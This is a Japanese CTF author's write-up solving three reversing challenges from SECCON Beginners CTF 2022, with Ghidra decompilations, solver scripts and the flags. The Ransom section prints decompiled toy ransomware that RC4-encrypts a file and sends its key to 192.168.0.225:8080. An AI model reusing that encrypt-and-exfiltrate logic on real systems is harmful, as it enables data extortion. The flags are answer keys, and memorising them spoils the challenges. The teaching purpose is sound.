SECCON Beginners CTF 2022で出題したReversing問題Quiz、Recursive、Ransomの作問者writeupです。

Quiz (難易度 Beginner)

Reversingは主にバイナリなどのファイルの動作を解析する分野です。まずはファイルをダウンロードして解凍します。

$ wget https://sbc2022-secconbeginnersctf-2022-prod.s3.isk01.sakurastorage.jp/production/Quiz/quiz.tar.gz
$ tar -zxvf quiz.tar.gz

するとquizというファイルが出てきます。

$ ls
quiz quiz.tar.gz

fileコマンドでどんなファイルか調べてみるとLinuxの実行ファイルだと分かります。

$ file quiz
quiz: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3c3ecb93f6ca813352964076835ff6712fe9554e, for GNU/Linux 3.2.0, not stripped

ELFがLinuxで用いられる実行ファイルのフォーマットで、さらにこの実行ファイルはx86-64環境で実行できるものだと分かります。

実行するために権限を与えます。

$ chmod +x quiz

実行してみると問題名の通りクイズが出てきます。これに順番に答えていくと最後にフラグはなんでしょうか?と聞かれます。

$ ./quiz
Welcome, it's time for the binary quiz!
ようこそ、バイナリクイズの時間です!

Q1. What is the executable file's format used in Linux called?
    Linuxで使われる実行ファイルのフォーマットはなんと呼ばれますか?
    1) ELM  2) ELF  3) ELR
Answer : 2
Correct!

Q2. What is system call number 59 on 64-bit Linux?
    64bit Linuxにおけるシステムコール番号59はなんでしょうか?
    1) execve  2) folk  3) open
Answer : 1
Correct!

Q3. Which command is used to extract the readable strings contained in the file?
    ファイルに含まれる可読文字列を抽出するコマンドはどれでしょうか?
    1) file  2) strings  3) readelf
Answer : 2
Correct!

Q4. What is flag?
    フラグはなんでしょうか?
Answer :

フラグはここまでのクイズでは何も分かりませんが、答えを入力するとその文字列を答えのフラグ文字列と比較しているのではないか、と考えられます。

ここでQ3のクイズを振り返るとファイルに含まれる可読文字列を抽出するコマンドがstringsであると分かります。

では実際にstringsコマンドでこのファイルを指定して実行してみると

$ strings quiz
...
[]A\A]A^A_
ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}
Welcome, it's time for the binary quiz!
...

フラグを取得することができました。

このファイルでは入力文字列とフラグ文字列ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}をstrncmpで比較しているので、そのままバイナリ内に可読文字列として残っていました。 quiz以降の難易度が高い問題ではこの問題のような単純な比較ではなく、いくつかの処理で文字列を比較したりエンコード・デコード処理がある場合があるので、それらを解析してフラグを取得することを求められます。

Recursive (難易度 Easy)

quizと同様にダウンロード・実行権限を付与・実行してみると入力した文字列がフラグと一致するか確認してくれるようです。

$ ./recursive

   ▄▀▀▄▀▀▀▄  ▄▀▀█▄▄▄▄  ▄▀▄▄▄▄   ▄▀▀▄ ▄▀▀▄  ▄▀▀▄▀▀▀▄  ▄▀▀▀▀▄  ▄▀▀█▀▄   ▄▀▀▄ ▄▀▀▄  ▄▀▀█▄▄▄▄
  █   █   █ ▐  ▄▀   ▐ █ █    ▌ █   █    █ █   █   █ █ █   ▐ █   █  █ █   █    █ ▐  ▄▀   ▐
  ▐  █▀▀█▀    █▄▄▄▄▄  ▐ █      ▐  █    █  ▐  █▀▀█▀     ▀▄   ▐   █  ▐ ▐  █    █    █▄▄▄▄▄
   ▄▀    █    █    ▌    █        █    █    ▄▀    █  ▀▄   █      █       █   ▄▀    █    ▌
  █     █    ▄▀▄▄▄▄    ▄▀▄▄▄▄▀    ▀▄▄▄▄▀  █     █    █▀▀▀    ▄▀▀▀▀▀▄     ▀▄▀     ▄▀▄▄▄▄
  ▐     ▐    █    ▐   █     ▐             ▐     ▐    ▐      █       █            █    ▐
             ▐        ▐                                     ▐       ▐            ▐

FLAG: ctf4b{???}
Incorrect.

このような動作がわからない実行ファイルを静的解析するソフトとしてGhidraがあります。

Ghidraでこのファイルを開いてmain関数のデコンパイル結果を見ると以下のようになっています。

undefined8 main(void)

{
  int iVar1;
  size_t sVar2;
  undefined8 uVar3;
  long in_FS_OFFSET;
  char local_58 [72];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  show_description();
  printf("FLAG: ");
  __isoc99_scanf("%39s%*[^\n]",local_58);
  sVar2 = strlen(local_58);
  if (sVar2 == 0x26) {
    iVar1 = check(local_58,0);
    if (iVar1 == 1) {
      puts("Incorrect.");
      uVar3 = 1;
    }
    else {
      puts("Correct!");
      uVar3 = 0;
    }
  }
  else {
    puts("Incorrect.");
    uVar3 = 1;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar3;
}

見やすくするために右クリック→Rename Variableで変数の名前を整理すると入力文字列をcheck(flag,0)という関数で判定していることが分かります。

undefined8 main(void)

{
  int res;
  size_t flag_len;
  undefined8 return;
  long in_FS_OFFSET;
  char flag [72];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("FLAG: ");
  __isoc99_scanf(&DAT_0010200b,flag);
  flag_len = strlen(flag);
  if (flag_len == 0x26) {
    res = check(flag,0);
    if (res == 1) {
      puts("Incorrect.");
      return = 1;
    }
    else {
      puts("Correct!");
      return = 0;
    }
  }
  else {
    puts("Incorrect.");
    return = 1;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return return;
}

次にcheck関数の中を見て(変数名を整理して)みると、文字列を2分割しcheck(half_text,n)check(half_text,half_len * half_len + n)という処理を行い、文字列の長さが1のときはtable[n]と比較する処理をしています。

undefined8 check(char *text,int n)

{
  int text_len;
  int half_len;
  int iVar1;
  size_t text_strlen;
  char *half_text;

  text_strlen = strlen(text);
  text_len = (int)text_strlen;
  if (text_len == 1) {
    if (table[n] != *text) {
      return 1;
    }
  }
  else {
    half_len = text_len / 2;
    half_text = (char *)malloc((long)half_len);
    strncpy(half_text,text,(long)half_len);
    iVar1 = check(half_text,n);
    if (iVar1 == 1) {
      return 1;
    }
    half_text = (char *)malloc((long)(text_len - half_len));
    strncpy(half_text,text + half_len,(long)(text_len - half_len));
    text_len = check(half_text,half_len * half_len + n);
    if (text_len == 1) {
      return 1;
    }
  }
  return 0;
}

これをPython風に書き直してみると

text = "ctf4b{???}"

def check(text, n):
    if len(text) == 1 && table[n] != text:
            return 1
    else:
        half = len(text) // 2
        return check(text[:half], n)
        return check(text[half:], n + half**2)

check(flag, 0)

という再帰による判定処理であることが分かります。そしてtableはGhidraで見ると

00104020 63    undefined163h          [0]
00104021 74    undefined174h          [1]
00104022 60    undefined160h          [2]
00104023 2a    undefined12Ah          [3]
00104024 66    undefined166h          [4]
00104025 34    undefined134h          [5]
...
0010421f 34    undefined134h          [511]

という配列になっているのでこれらから正解の文字列を求めるスクリプトを書くと

table = [99, 116, 96, 42, 102, 52, ... , 52]

tmp = "a" * 38


def check(text, n):
    if len(text) == 1:
        print(chr(table[n]), end="")
    else:
        t = len(text) // 2
        check(text[:t], n)
        check(text[t:], n + t**2)


check(tmp, 0)

フラグctf4b{r3curs1v3_c4l1_1s_4_v3ry_u53fu1}を取得できます。

Ransom (難易度 Medium)

ファイルをダウンロードして解凍すると3つのファイルctf4b_super_secret.txt.lock tcpdump.pcap ransomが入っています。まずはransomをGhidraで解析しどんな処理が行われているか確認します。

Ghidraで開くとSymbol Tree - Functionsにmain関数がなくFUN_00101020などのよく分からない関数が表示されます。これはstripというシンボル情報を削除する処理が行われた実行ファイルであるためで、まずはmain関数に相当する関数を見つけ出す必要があります。

まずSymbol Tree - Functionsからentryを選択し表示します。これがエントリーポイントでこの中の__libc_start_mainの第一引数がmain関数に相当します。今回だとFUN_001016a2でこれを表示すると、この関数の中で先程ダウンロードしたctf4b_super_secret.txt.lockファイルへの操作が行われているのが確認できます。

undefined8 FUN_001016a2(void)

{
  int __fd;
  int iVar1;
  void *unknown_text;
  FILE *secret_file;
  undefined8 uVar2;
  char *pcVar3;
  size_t sVar4;
  void *lock_text;
  FILE *__stream;
  long in_FS_OFFSET;
  size_t local_150;
  undefined local_128 [4];
  in_addr_t local_124;
  char secret_text [264];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  unknown_text = malloc(0x11);
  FUN_00101606(0x10,unknown_text);
  secret_file = fopen("ctf4b_super_secret.txt","r");
  if (secret_file == (FILE *)0x0) {
    puts("Can\'t open file.");
    uVar2 = 1;
  }
  else {
    pcVar3 = fgets(secret_text,0x100,secret_file);
    if (pcVar3 != (char *)0x0) {
      sVar4 = strlen(secret_text);
      lock_text = malloc(sVar4 << 2);
      FUN_0010157f(unknown_text,secret_text,lock_text);
      __stream = fopen("ctf4b_super_secret.txt.lock","w");
      if (__stream == (FILE *)0x0) {
        puts("Can\'t write file.");
        uVar2 = 1;
        goto LAB_0010191f;
      }
      local_150 = 0;
      while( true ) {
        sVar4 = strlen(secret_text);
        if (local_150 == sVar4) break;
        fprintf(__stream,"\\x%02x",(ulong)*(byte *)(local_150 + (long)lock_text));
        local_150 = local_150 + 1;
      }
      fclose(__stream);
    }
    fclose(secret_file);
    __fd = socket(2,1,0);
    if (__fd < 0) {
      perror("Failed to create socket");
      uVar2 = 1;
    }
    else {
      local_128._0_2_ = 2;
      local_124 = inet_addr("192.168.0.225");
      local_128._2_2_ = htons(8080);
      iVar1 = connect(__fd,(sockaddr *)local_128,0x10);
      if (iVar1 == 0) {
        write(__fd,unknown_text,0x11);
        uVar2 = 0;
      }
      else {
        perror("Failed to connect");
        uVar2 = 1;
      }
    }
  }
LAB_0010191f:
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar2;
}

この動作を見ると

  1. FUN_00101606(0x10,unknown_text);unknown_textを生成する
  2. ctf4b_super_secret.txtからsecret_textを読み込む
  3. FUN_0010157f(unknown_text,secret_text,lock_text);unknown_textsecret_textからlock_textを生成?する
  4. ctf4b_super_secret.txt.locklock_textを書き込む
  5. 192.168.0.225:8080unknown_textを送信する

という流れになっています。

では1のFUN_00101606の動作を見てみると0-9a-zA-Zの文字を使うparam_1(今回は0x10)の長さのランダム文字列を生成しparam_2に格納する処理だと分かります。

void FUN_00101606(int param_1,long param_2)

{
  int iVar1;
  time_t tVar2;
  ulong local_18;

  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  for (local_18 = 0; local_18 < (ulong)(long)param_1; local_18 = local_18 + 1) {
    iVar1 = rand();
    *(char *)(local_18 + param_2) =
         "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"[iVar1 % 0x3e];
  }
  *(undefined *)(param_2 + param_1) = 0;
  return;
}

次に3のFUN_0010157fは新たな関数FUN_00101381FUN_0010145eを呼んでいることが分かります。(このあたりで、Reversingが得意な方はどんな処理をしているか薄々気がつくと思います)

undefined8 FUN_0010157f(undefined8 param_1,undefined8 param_2,undefined8 param_3)

{
  long in_FS_OFFSET;
  undefined local_118 [264];
  long local_10;

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  FUN_00101381(param_1,local_118);
  FUN_0010145e(local_118,param_2,param_3);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

FUN_00101381FUN_0010145eの処理は以下のようになっています。

undefined8 FUN_00101381(char *param_1,long param_2)

{
  uint uVar1;
  size_t sVar2;
  int iVar3;
  int local_18;
  int local_14;
  int local_10;

  sVar2 = strlen(param_1);
  local_18 = 0;
  for (local_14 = 0; local_14 < 0x100; local_14 = local_14 + 1) {
    *(char *)(param_2 + local_14) = (char)local_14;
  }
  for (local_10 = 0; local_10 < 0x100; local_10 = local_10 + 1) {
    iVar3 = (uint)*(byte *)(param_2 + local_10) + local_18 + (int)param_1[local_10 % (int)sVar2];
    uVar1 = (uint)(iVar3 >> 0x1f) >> 0x18;
    local_18 = (iVar3 + uVar1 & 0xff) - uVar1;
    FUN_00101349(param_2 + local_10,local_18 + param_2);
  }
  return 0;
}
undefined8 FUN_0010145e(long param_1,char *param_2,long param_3)

{
  size_t sVar1;
  uint local_24;
  uint local_20;
  ulong local_18;

  local_24 = 0;
  local_20 = 0;
  local_18 = 0;
  sVar1 = strlen(param_2);
  for (; local_18 < sVar1; local_18 = local_18 + 1) {
    local_24 = local_24 + 1 & 0xff;
    local_20 = *(byte *)(param_1 + (int)local_24) + local_20 & 0xff;
    FUN_00101349(param_1 + (int)local_24,(int)local_20 + param_1);
    *(byte *)(local_18 + param_3) =
         param_2[local_18] ^
         *(byte *)(param_1 +
                  (ulong)(byte)(*(char *)(param_1 + (int)local_20) +
                               *(char *)(param_1 + (int)local_24)));
  }
  return 0;
}

forループを回しながらXORなどでエンコードしていますが、これらはRC4と呼ばれる暗号化手法です。RC4はある文字列を鍵を用いて暗号化するもので今回は1で生成した16文字のランダム文字列unknown_textを鍵にしてctf4b_super_secret.txtの内容を暗号化し、ctf4b_super_secret.txt.lockに書き込む処理をしています。

よってctf4b_super_secret.txt.lockからもとの内容を戻すためにはunknown_textが必要ですが、5でunknown_textを送信しておりそれが配布pcapファイルに記録されています。

pcapファイルから暗号化キーはrgUAvvyfyApNPEYgであることが分かるのでCyberChefを使い、RC4を指定して復号するとフラグctf4b{rans0mw4re_1s_v4ry_dan9er0u3_s0_b4_c4refu1}が取得できます。

CyberChef